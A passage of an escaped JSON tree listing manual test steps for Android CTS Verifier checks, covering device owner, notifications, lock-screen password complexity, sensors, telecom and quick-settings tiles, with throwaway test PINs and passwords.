owner\",\"id\":\"2208a8b1-a26d-407b-9780-6d30e4974e13\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"2208a8b1-a26d-407b-9780-6d30e4974e13\"]}]},{\"value\":\"Turn on Multiple users switch bar\",\"id\":\"64db6b9d-caaa-442f-840a-80ef16030e55\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"64db6b9d-caaa-442f-840a-80ef16030e55\"]},{\"value\":\"Verify if screen back to main screen of Device Owner Tests\",\"id\":\"c1068330-ea63-4e42-8806-773d1152094f\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"c1068330-ea63-4e42-8806-773d1152094f\"]}]},{\"value\":\"Enable Device Owner\",\"id\":\"150ccde5-c230-418d-a286-b413af7f297b\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"150ccde5-c230-418d-a286-b413af7f297b\"]},{\"value\":\"Install Device Owner\",\"id\":\"5595e3fe-1f8d-453a-a103-8d15ac2ec05d\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"5595e3fe-1f8d-453a-a103-8d15ac2ec05d\"]},{\"value\":\"No Device Owner Tests\",\"id\":\"AE19D609-E847-4668-901F-E087ECB6F3DB\",\"emitLoadNextLevel\":false,\"children\":[{\"value\":\"Click \\\"Go\\\" button\",\"id\":\"608f1c50-237e-4f5d-94c6-0bbbcba87332\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"608f1c50-237e-4f5d-94c6-0bbbcba87332\"]},{\"value\":\"Launch No Device Owner Tests\",\"id\":\"7f12c16f-51be-4732-bf1b-ef4b55841a99\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"7f12c16f-51be-4732-bf1b-ef4b55841a99\"]},{\"value\":\"Sub-cases\",\"id\":\"673BD6C0-E1A2-49B0-BCA0-533D8D9DF0E8\",\"emitLoadNextLevel\":false,\"children\":[{\"value\":\"01-Device owner provisioning\",\"id\":\"d52e2b4c-6bf6-4d93-af37-785ce2d74664\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"d52e2b4c-6bf6-4d93-af37-785ce2d74664\"]},{\"value\":\"02-Quick settings disclosure\",\"id\":\"c053d68c-aa89-494f-9a6d-a24f4eba7de4\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"c053d68c-aa89-494f-9a6d-a24f4eba7de4\"]},{\"value\":\"03-Keyguard disclosure\",\"id\":\"8176eaad-a582-41ea-8d8e-9c8673e8ceb0\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"8176eaad-a582-41ea-8d8e-9c8673e8ceb0\"]},{\"value\":\"04-Add account disclosure\",\"id\":\"fb524e6c-60b2-4211-b7e4-37f76f26a3ef\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"fb524e6c-60b2-4211-b7e4-37f76f26a3ef\"]}]},{\"value\":\"VERIFY you are not told the device is managed\",\"id\":\"cae61682-7071-4c67-94c1-963ff2cbe978\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"cae61682-7071-4c67-94c1-963ff2cbe978\"]}]},{\"value\":\"Permissions lockdown test\",\"id\":\"874444DF-6E77-4225-A645-C24386EA1DF0\",\"emitLoadNextLevel\":false,\"children\":[{\"value\":\"Click \\\"Open Application Settings\\\" button\",\"id\":\"f94a4fd0-90ed-46b2-bd68-e769b2b4175c\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"f94a4fd0-90ed-46b2-bd68-e769b2b4175c\"]},{\"value\":\"Launch Permission of contacts\",\"id\":\"e272f61e-5e1a-434d-ab44-5ae9abf260fc\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"e272f61e-5e1a-434d-ab44-5ae9abf260fc\"]},{\"value\":\"Start Permissions lockdown test\",\"id\":\"d2619d97-b114-47f1-bade-ff3e0e4d37f7\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"d2619d97-b114-47f1-bade-ff3e0e4d37f7\"]}]},{\"value\":\"Set long support message\",\"id\":\"d1023735-52c1-48bc-9dc7-a7b03a15ca7b\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"d1023735-52c1-48bc-9dc7-a7b03a15ca7b\"]},{\"value\":\"Set short support message\",\"id\":\"336938a2-a45e-4245-a4a7-2f8704bc265d\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"336938a2-a45e-4245-a4a7-2f8704bc265d\"]}]},{\"value\":\"test_BYOD Managed Provisioning\",\"id\":\"cc9d7c01-f4f6-418f-8017-afcfe3344147\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"cc9d7c01-f4f6-418f-8017-afcfe3344147\"]},{\"value\":\"test_BYOD Provisioning tests\",\"id\":\"7dddd0ac-0493-4e91-871a-e36348978323\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"7dddd0ac-0493-4e91-871a-e36348978323\"]},{\"value\":\"test_Device Owner Requesting Bugreport Tests\",\"id\":\"dfed233b-4141-4e7e-a70f-5884c712f689\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"dfed233b-4141-4e7e-a70f-5884c712f689\"]},{\"value\":\"test_Device Owner Tests(Check image)\",\"id\":\"82f3ce72-96fe-4814-8b68-119a165c3cbf\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"82f3ce72-96fe-4814-8b68-119a165c3cbf\"]},{\"value\":\"test_No Device Owner Tests\",\"id\":\"56cbd2d5-2a74-4b2f-aaf1-d2fe2aa5f479\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"56cbd2d5-2a74-4b2f-aaf1-d2fe2aa5f479\"]}]},{\"value\":\"Notification\",\"id\":\"E6743F92-26F3-4A42-BFCC-0A218E2C3E20\",\"emitLoadNextLevel\":false,\"children\":[{\"value\":\"CPD\",\"id\":\"25020E7F-1F6B-4B76-A9CF-D349A4C3CC11\",\"emitLoadNextLevel\":false,\"children\":[{\"value\":\"Bubble Notification Tests\",\"id\":\"EB2556C8-6175-45D4-89BB-EE6430917DDB\",\"emitLoadNextLevel\":false,\"children\":[{\"value\":\"Click \\\"Pass\\\" button\",\"id\":\"e7f9f493-a79b-4e07-8b28-1ac9a5ef5d28\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"e7f9f493-a79b-4e07-8b28-1ac9a5ef5d28\"]},{\"value\":\"Collapse Bubble\",\"id\":\"e26e0b7d-f764-43a4-972e-1879b9ce2b3a\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"e26e0b7d-f764-43a4-972e-1879b9ce2b3a\"]},{\"value\":\"Dragging bubble to dismiss it on the screen\",\"id\":\"8ef662f7-4f74-4591-ae52-3225f30513b1\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"8ef662f7-4f74-4591-ae52-3225f30513b1\"]},{\"value\":\"If \\\"Chat using bubble\\\" tips appear dismiss it \",\"id\":\"1c0d44ff-5ed3-4ea1-b931-f2cb903c504b\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"1c0d44ff-5ed3-4ea1-b931-f2cb903c504b\"]},{\"value\":\"If \\\"Control bubbles anytime\\\" tips appear, dismiss it\",\"id\":\"008221ef-2f19-4071-9311-cfbe47857bb3\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"008221ef-2f19-4071-9311-cfbe47857bb3\"]},{\"value\":\"Verify if there is a notification in the notification shade\",\"id\":\"7db88cc2-8f43-4668-a7bc-0afb68e49de3\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"7db88cc2-8f43-4668-a7bc-0afb68e49de3\"]},{\"value\":\"Verify if there is bubble on the screen\",\"id\":\"3c520b0e-60ae-408c-9345-478080bfe14c\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"3c520b0e-60ae-408c-9345-478080bfe14c\"]},{\"value\":\"Verify that the bubble is removed from the screen\",\"id\":\"696f0a59-5696-49f9-8573-34cfc71c3c61\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"696f0a59-5696-49f9-8573-34cfc71c3c61\"]},{\"value\":\"Verify there is no notification in the notification shade\",\"id\":\"37bd58c3-6297-4c65-ac3f-e575ec7b3986\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"37bd58c3-6297-4c65-ac3f-e575ec7b3986\"]}]},{\"value\":\"Check certificate on notification status bar\",\"id\":\"6e39d7bc-eca0-4c2d-9c8e-bf47cd2eca1a\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"6e39d7bc-eca0-4c2d-9c8e-bf47cd2eca1a\"]},{\"value\":\"Click \\\"Go\\\" button\",\"id\":\"553582bb-ae2d-4759-a0a7-f73067bf7e89\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"553582bb-ae2d-4759-a0a7-f73067bf7e89\"]},{\"value\":\"Click Pass button\",\"id\":\"1ed2536c-bc42-41ff-8528-dea80280c9fd\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"1ed2536c-bc42-41ff-8528-dea80280c9fd\"]},{\"value\":\"Click launch Settings button\",\"id\":\"6d4037a3-a4e4-4bab-9f39-afc62304cf57\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"6d4037a3-a4e4-4bab-9f39-afc62304cf57\"]},{\"value\":\"Condition Provider test\",\"id\":\"C77DF5A2-949C-48F6-AEC4-93A217F73902\",\"emitLoadNextLevel\":false,\"children\":[{\"value\":\"Turn On/Off Do Not Disturb function\",\"id\":\"e4555fba-a19a-4a6c-8f12-d3202b0203f5\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"e4555fba-a19a-4a6c-8f12-d3202b0203f5\"]}]},{\"value\":\"If myCert is installed, press back key\",\"id\":\"325e2c82-fd6d-4027-8dd7-1d331c3d5345\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"325e2c82-fd6d-4027-8dd7-1d331c3d5345\"]},{\"value\":\"If myCert is not installed, install Cert\",\"id\":\"ce88edc2-4ae3-4424-9d5b-906134e04383\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"ce88edc2-4ae3-4424-9d5b-906134e04383\"]},{\"value\":\"Install CA\",\"id\":\"0e355b97-b105-4074-8e2f-c4d1e0a69a08\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"0e355b97-b105-4074-8e2f-c4d1e0a69a08\"]},{\"value\":\"Turn On/Off Notification access\",\"id\":\"8de23e46-4a22-4d4b-bc72-5588dfe25101\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"8de23e46-4a22-4d4b-bc72-5588dfe25101\"]},{\"value\":\"Verify if find myCA.cer on screen\",\"id\":\"1dd91c68-25ae-4631-8387-ea9aae5957e9\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"1dd91c68-25ae-4631-8387-ea9aae5957e9\"]}]},{\"value\":\"test_Bubble Notification Tests\",\"id\":\"e2afa6de-5d79-4e1f-ad1a-b6e88e31e5a3\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"e2afa6de-5d79-4e1f-ad1a-b6e88e31e5a3\"]},{\"value\":\"test_CA Cert Notification Test\",\"id\":\"6ab4ade4-e911-49f5-8972-bdc1b31049c5\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"6ab4ade4-e911-49f5-8972-bdc1b31049c5\"]},{\"value\":\"test_CA Cert Notification on Boot test\",\"id\":\"a3c0955c-29f4-4488-af69-d765f068c4ea\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"a3c0955c-29f4-4488-af69-d765f068c4ea\"]},{\"value\":\"test_Condition Provider test\",\"id\":\"dec009bd-6ca5-4baa-81d1-a00929a711a4\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"dec009bd-6ca5-4baa-81d1-a00929a711a4\"]},{\"value\":\"test_Notification Attention Management Test\",\"id\":\"cf14915f-d938-43d7-b09b-40a0a3c80fd8\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"cf14915f-d938-43d7-b09b-40a0a3c80fd8\"]},{\"value\":\"test_Notification Listener Test\",\"id\":\"f22363c9-d58a-4b5b-8f6a-91b236ec8d11\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"f22363c9-d58a-4b5b-8f6a-91b236ec8d11\"]},{\"value\":\"test_QS Media Controls Test(Check image)\",\"id\":\"fa3d7096-4016-48dd-94f4-f199e7a2a978\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"fa3d7096-4016-48dd-94f4-f199e7a2a978\"]},{\"value\":\"test_Shortcut Reset Rate-limiting Test\",\"id\":\"8f00d919-0c82-4e55-8710-3a76734da2b3\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"8f00d919-0c82-4e55-8710-3a76734da2b3\"]}]},{\"value\":\"Other\",\"id\":\"DCA44B40-A3E5-4EEE-A9F3-6FB4146F6ECD\",\"emitLoadNextLevel\":false,\"children\":[{\"value\":\"test_Battery Saver Test\",\"id\":\"40e973e7-1cab-4d00-918a-195bb7aab758\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"40e973e7-1cab-4d00-918a-195bb7aab758\"]},{\"value\":\"test_Recent Task Removal Test\",\"id\":\"e6aec7f0-e259-4914-9474-2ca7a5e3f45d\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"e6aec7f0-e259-4914-9474-2ca7a5e3f45d\"]}]},{\"value\":\"Security\",\"id\":\"76A342AD-B872-4507-A5D6-0AD3A7ACF584\",\"emitLoadNextLevel\":false,\"children\":[{\"value\":\"CPD\",\"id\":\"1FB9E4B3-4EA5-4306-B8D6-315391BED393\",\"emitLoadNextLevel\":false,\"children\":[{\"value\":\"Click Done button if need\",\"id\":\"2fb8a428-0ad6-4d59-a36e-8ba24663af7b\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"2fb8a428-0ad6-4d59-a36e-8ba24663af7b\"]},{\"value\":\"Click Next button\",\"id\":\"fdcaf63b-bd85-431d-a212-51c1af4d3204\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"fdcaf63b-bd85-431d-a212-51c1af4d3204\"]},{\"value\":\"Click OK button\",\"id\":\"21408006-0414-473e-87dd-282a2f4cce97\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"21408006-0414-473e-87dd-282a2f4cce97\"]},{\"value\":\"Confirm PIN or Password lock \\\"2468\\\"\",\"id\":\"bc9471bc-a314-40a4-952b-24a9d2db4974\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"bc9471bc-a314-40a4-952b-24a9d2db4974\"]},{\"value\":\"Enter PIN or Password \\\"2468\\\"\",\"id\":\"b9e13d9a-43e6-44b0-a3f6-48b3de93d39a\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"b9e13d9a-43e6-44b0-a3f6-48b3de93d39a\"]},{\"value\":\"Random select 2 lock type\",\"id\":\"0e190c32-3e45-4bd4-8d81-8eab2da1758e\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"0e190c32-3e45-4bd4-8d81-8eab2da1758e\"]},{\"value\":\"Random select 3 lock type\",\"id\":\"796b7e21-e7e7-4631-8bc3-72894b072e96\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"796b7e21-e7e7-4631-8bc3-72894b072e96\"]},{\"value\":\"Set new Password Complexity Test\",\"id\":\"94ACDD0A-CA2E-4101-95B3-033C9D5D00E1\",\"emitLoadNextLevel\":false,\"children\":[{\"value\":\"Click Clear button\",\"id\":\"c3259a91-454a-42a5-b169-2d282d70f076\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"c3259a91-454a-42a5-b169-2d282d70f076\"]},{\"value\":\"Click Continue without Pixel Imprint or Continue without face unlock\",\"id\":\"27b9a87d-9b7b-4f55-a259-45a91ee67a64\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"27b9a87d-9b7b-4f55-a259-45a91ee67a64\"]},{\"value\":\"Confirm PIN lock \\\"14725836\\\"\",\"id\":\"ffe766f2-11f5-449d-9b89-e5ff06f5a835\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"ffe766f2-11f5-449d-9b89-e5ff06f5a835\"]},{\"value\":\"Confirm PIN lock \\\"1688\\\"\",\"id\":\"67230d49-da52-4a23-a712-504be0de8619\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"67230d49-da52-4a23-a712-504be0de8619\"]},{\"value\":\"Confirm Password lock \\\"a14725836\\\"\",\"id\":\"8539b68d-cf4f-4158-aeb6-2867807e7574\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"8539b68d-cf4f-4158-aeb6-2867807e7574\"]},{\"value\":\"Confirm Password lock \\\"a1688\\\"\",\"id\":\"658953ad-c875-417b-87a1-5c75ca2fff86\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"658953ad-c875-417b-87a1-5c75ca2fff86\"]},{\"value\":\"Enter PIN number \\\"14725836\\\"\",\"id\":\"af677fa8-0e4c-4c4e-9159-f91129b44e83\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"af677fa8-0e4c-4c4e-9159-f91129b44e83\"]},{\"value\":\"Enter PIN number \\\"1688\\\"\",\"id\":\"8373f761-9983-4688-b193-59c4bc7a9bd3\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"8373f761-9983-4688-b193-59c4bc7a9bd3\"]},{\"value\":\"Enter password \\\"a14725836\\\"\",\"id\":\"3935709f-effe-474a-96d0-07dd056d34f9\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"3935709f-effe-474a-96d0-07dd056d34f9\"]},{\"value\":\"Enter password \\\"a1688\\\"\",\"id\":\"c9423320-3e9d-40ed-8a84-957a48931121\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"c9423320-3e9d-40ed-8a84-957a48931121\"]},{\"value\":\"Verify  if set PIN screen appear, set PIN to \\\"1688\\\"\",\"id\":\"2c2679b8-694c-4f76-9e68-e769699ab06a\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"2c2679b8-694c-4f76-9e68-e769699ab06a\"]},{\"value\":\"Verify if set PIN screen appear, set PIN to \\\"14725836\\\"\",\"id\":\"675d3384-df03-4693-9846-646f622b5ce0\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"675d3384-df03-4693-9846-646f622b5ce0\"]},{\"value\":\"Verify if set Password appear, set password to \\\"a14725836\\\"\",\"id\":\"7966cf53-7a34-44cc-9193-2c7dd347fe81\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"7966cf53-7a34-44cc-9193-2c7dd347fe81\"]},{\"value\":\"Verify if set Password screen appear, set password to \\\"a1688\\\"\",\"id\":\"f9ed0da0-0e19-4117-8b66-467e80d9285c\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"f9ed0da0-0e19-4117-8b66-467e80d9285c\"]},{\"value\":\"Verify that not allowed message of PIN lock\",\"id\":\"2b20f950-6cf8-4040-93c8-a51819425441\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"2b20f950-6cf8-4040-93c8-a51819425441\"]},{\"value\":\"Verify that not allowed message of password lock\",\"id\":\"91970b4b-d060-46b2-bbd3-d8042def443a\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"91970b4b-d060-46b2-bbd3-d8042def443a\"]}]},{\"value\":\"Verify if set PIN or Password screen appear, set password to \\\"1234\\\"\",\"id\":\"2090e04a-10af-4fc3-8149-1f22a584eb67\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"2090e04a-10af-4fc3-8149-1f22a584eb67\"]},{\"value\":\"Verify if set PIN or Password screen appear, set password to \\\"2468\\\"\",\"id\":\"0bb19e90-9994-4d49-9188-fe2405a8dc37\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"0bb19e90-9994-4d49-9188-fe2405a8dc37\"]},{\"value\":\"Verify if set pattern lock appear, set pattern\",\"id\":\"06f4ee63-7ae5-4c0a-b4e8-56fa7a21f33a\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"06f4ee63-7ae5-4c0a-b4e8-56fa7a21f33a\"]}]},{\"value\":\"test-Keyguard Password Verification\",\"id\":\"935be38e-341a-455b-a52d-709e620f3641\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"935be38e-341a-455b-a52d-709e620f3641\"]},{\"value\":\"test_CA Cert install via intent\",\"id\":\"d36bec86-b515-4a70-9f5e-2dfcce3d0306\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"d36bec86-b515-4a70-9f5e-2dfcce3d0306\"]},{\"value\":\"test_KeyChain Storage Test\",\"id\":\"c0787b92-a6be-4e72-a8b9-7b99d133be03\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"c0787b92-a6be-4e72-a8b9-7b99d133be03\"]},{\"value\":\"test_Set New Password Complexity Test\",\"id\":\"992e890c-3aa6-43e1-9940-2a9f042811d6\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"992e890c-3aa6-43e1-9940-2a9f042811d6\"]}]},{\"value\":\"Sensors\",\"id\":\"89A2ACA9-F8DA-41FA-84FE-EA921F6B8829\",\"emitLoadNextLevel\":false,\"children\":[{\"value\":\"CPD\",\"id\":\"C008FCA1-7ED0-4C80-A3DF-D7F609DE2705\",\"emitLoadNextLevel\":false,\"children\":[{\"value\":\"Off Body Sensor Tests\",\"id\":\"59D8230C-CD89-471C-A923-443D32965C58\",\"emitLoadNextLevel\":false,\"children\":[{\"value\":\"Activate this device admin app - Sensor\",\"id\":\"59dc74cf-f26b-4e66-85e1-4fb8ce477ae9\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"59dc74cf-f26b-4e66-85e1-4fb8ce477ae9\"]},{\"value\":\"Deactivate this device admin app - Sensor\",\"id\":\"dc47dc72-9a74-4b16-9c5f-4d2cd0560854\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"dc47dc72-9a74-4b16-9c5f-4d2cd0560854\"]},{\"value\":\"Sensor presetting\",\"id\":\"49d12aa6-c679-44be-ba72-a6c46a5cd4d7\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"49d12aa6-c679-44be-ba72-a6c46a5cd4d7\"]},{\"value\":\"Sensor teardown\",\"id\":\"49c301ea-be46-4ac5-87fc-21262da2994c\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"49c301ea-be46-4ac5-87fc-21262da2994c\"]},{\"value\":\"Turn Adaptive Brightness off\",\"id\":\"1013c0fa-aac7-432d-aed1-e33c58b4d603\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"1013c0fa-aac7-432d-aed1-e33c58b4d603\"]},{\"value\":\"Turn Adaptive Brightness on\",\"id\":\"87aa94cd-e4ba-4453-9d58-267514ce16bb\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"87aa94cd-e4ba-4453-9d58-267514ce16bb\"]},{\"value\":\"Turn Auto-rotate off\",\"id\":\"2468d1f3-142c-41da-b713-09b253fe81f6\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"2468d1f3-142c-41da-b713-09b253fe81f6\"]},{\"value\":\"Turn Auto-rotate on\",\"id\":\"d3450ee9-4ee0-4753-bb29-15c5b3906285\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"d3450ee9-4ee0-4753-bb29-15c5b3906285\"]},{\"value\":\"Turn Locaion on\",\"id\":\"59eff0da-e8a3-4322-9f00-9a3bd9237e10\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"59eff0da-e8a3-4322-9f00-9a3bd9237e10\"]},{\"value\":\"Turn Location off\",\"id\":\"050ca8c7-6332-41f5-af2b-8a02b680bf14\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"050ca8c7-6332-41f5-af2b-8a02b680bf14\"]},{\"value\":\"Turn Stay awake off\",\"id\":\"b6c8e3c8-6ab1-4886-8f5e-037dd9346a51\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"b6c8e3c8-6ab1-4886-8f5e-037dd9346a51\"]},{\"value\":\"Turn Stay awake on\",\"id\":\"96f52bf6-6606-42ab-8b3a-fd6c554ea30a\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"96f52bf6-6606-42ab-8b3a-fd6c554ea30a\"]},{\"value\":\"Turn off airplane mode\",\"id\":\"caa6ccab-46bc-4259-abd1-dabe145e275a\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"caa6ccab-46bc-4259-abd1-dabe145e275a\"]},{\"value\":\"Turn on airplane mode\",\"id\":\"460b5da5-d44f-4f91-ad3a-68715ff4684c\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"460b5da5-d44f-4f91-ad3a-68715ff4684c\"]}]}]},{\"value\":\"test_6DoF Test\",\"id\":\"65349586-080c-4006-843f-5d5d8b9e9cd9\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"65349586-080c-4006-843f-5d5d8b9e9cd9\"]},{\"value\":\"test_Off Body Sensor Tests\",\"id\":\"c7a524d7-b4b3-4e41-a6ae-2deaa4af43e5\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"c7a524d7-b4b3-4e41-a6ae-2deaa4af43e5\"]}]},{\"value\":\"Telecom\",\"id\":\"87EF0028-2A22-43FD-94DE-4B51C6584726\",\"emitLoadNextLevel\":false,\"children\":[{\"value\":\"CPD\",\"id\":\"D64ED4CE-24F8-4AB6-88C9-1C94CBCEA4E4\",\"emitLoadNextLevel\":false,\"children\":[{\"value\":\"Enable calling account\",\"id\":\"645e8103-d449-40d0-abba-6d734e783792\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"645e8103-d449-40d0-abba-6d734e783792\"]}]},{\"value\":\"test_Telecom Enable Phone Account Test\",\"id\":\"e7c7dfa6-ef14-40bd-8f3d-dc7fac99aefe\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"e7c7dfa6-ef14-40bd-8f3d-dc7fac99aefe\"]},{\"value\":\"test_Telecom Outgoing Call Test\",\"id\":\"b3a44797-fe64-4100-8e0e-9ccbd497c945\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"b3a44797-fe64-4100-8e0e-9ccbd497c945\"]}]},{\"value\":\"Telephony\",\"id\":\"8AF3FB05-F534-48B7-9B8D-B19378F4DBD7\",\"emitLoadNextLevel\":false,\"children\":[{\"value\":\"CPD\",\"id\":\"B945FC9E-2CE7-4AD5-ABDB-82156881269C\",\"emitLoadNextLevel\":false,\"children\":[{\"value\":\"Hide settings in voicemail test\",\"id\":\"3EF127E3-967C-4613-AAF3-53E2BC52824E\",\"emitLoadNextLevel\":false,\"children\":[{\"value\":\"Check if \\\"ring\\\", \\\"vibration\\\" setting is hidden\",\"id\":\"838a9611-4bf1-4317-8599-98f7e872efdb\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"838a9611-4bf1-4317-8599-98f7e872efdb\"]},{\"value\":\"If \\\"Advanced Settings\\\" exists do the following actions\",\"id\":\"34391efa-20da-4c54-a657-418d1b4a5ddd\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"34391efa-20da-4c54-a657-418d1b4a5ddd\"]}]},{\"value\":\"Hide voicemail in call settings test\",\"id\":\"10AD5F43-16FA-4F91-BEBE-D1D6E2DF89DD\",\"emitLoadNextLevel\":false,\"children\":[{\"value\":\"Set CTS Verifier as your default phone app?\",\"id\":\"8e5815c6-e55c-4dce-8aeb-8b2a62898a6a\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"8e5815c6-e55c-4dce-8aeb-8b2a62898a6a\"]}]}]},{\"value\":\"test_Hide settings in voicemail test(Check image)\",\"id\":\"44fc4c64-e1d3-4482-8b56-b1c0c547722d\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"44fc4c64-e1d3-4482-8b56-b1c0c547722d\"]},{\"value\":\"test_Hide voicemail in call settings test(Check image)\",\"id\":\"3c16507a-cc79-4124-a23e-b402ec47f45b\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"3c16507a-cc79-4124-a23e-b402ec47f45b\"]},{\"value\":\"test_System Implements Telecom Intents\",\"id\":\"24c45902-8535-4376-b06f-88f06b115ca6\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"24c45902-8535-4376-b06f-88f06b115ca6\"]}]},{\"value\":\"Tiles\",\"id\":\"C81DC175-2E1E-4F9A-BE51-817F46C56248\",\"emitLoadNextLevel\":false,\"children\":[{\"value\":\"CPD\",\"id\":\"A940C4EA-5856-4F5A-A9C4-BE0BDA5C3943\",\"emitLoadNextLevel\":false,\"children\":[{\"value\":\"Assert absent for Tile Service for CTS Verifier \",\"id\":\"6f268fc7-772a-426d-ab18-4e9b2eefa03e\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"6f268fc7-772a-426d-ab18-4e9b2eefa03e\"]},{\"value\":\"Assert present for Tile Service for CTS Verifier \",\"id\":\"5f45dc78-6a4a-4b87-b860-01e0c4b7a04d\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"5f45dc78-6a4a-4b87-b860-01e0c4b7a04d\"]}]},{\"value\":\"test_Tile Service 